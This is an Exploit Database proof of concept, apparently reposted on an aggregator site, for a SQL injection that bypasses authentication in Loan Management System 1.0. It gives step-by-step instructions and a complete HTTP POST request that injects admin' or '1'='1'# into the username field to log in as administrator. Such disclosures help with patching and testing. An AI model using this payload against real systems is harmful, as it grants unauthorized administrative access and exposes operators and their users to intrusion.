Loan Management System 1.0 – SQLi Authentication Bypass

• Exploit Database
• 41 阅读

• 作者： Merve Oral
  日期： 2021-10-08
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/50402/

• # Exploit Title: Loan Management System 1.0 - SQLi Authentication Bypass
  # Date: 08.10.2021
  # Exploit Author: Merve Oral
  # Vendor Homepage: https://www.sourcecodester.com/php/14471/loan-management-system-using-phpmysql-source-code.html
  # Software Link: https://www.sourcecodester.com/download-code?nid=14471&title=Loan+Management+System+using+PHP%2FMySQL+with+Source+Code
  # Version: 1.0
  # Tested on: Windows 10, Kali Linux
  # Loan Management System Login page can be bypassed with a simple SQLi to the username parameter.
  
  Steps To Reproduce:
  1 - Go to the login page http://localhost/audit_trail/login.php
  2 - Enter the payload to username field as "admin' or '1'='1'#" without double-quotes and type anything to password field.
  3 - Click on "Login" button and you are logged in as administrator.
  
  PoC
  
  POST /loan/ajax.php?action=login HTTP/1.1
  Host: merve
  User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
  Accept: */*
  Accept-Language: en-US,en;q=0.5
  Accept-Encoding: gzip, deflate
  Content-Type: application/x-www-form-urlencoded; charset=UTF-8
  X-Requested-With: XMLHttpRequest
  Content-Length: 44
  Origin: http://merve
  Connection: close
  Referer: http://merve/loan/login.php
  Cookie: PHPSESSID=911fclrpoa87v9dsp9lh28ck0h
  
  username=admin'+or+'1'%3D'1'%23&password=any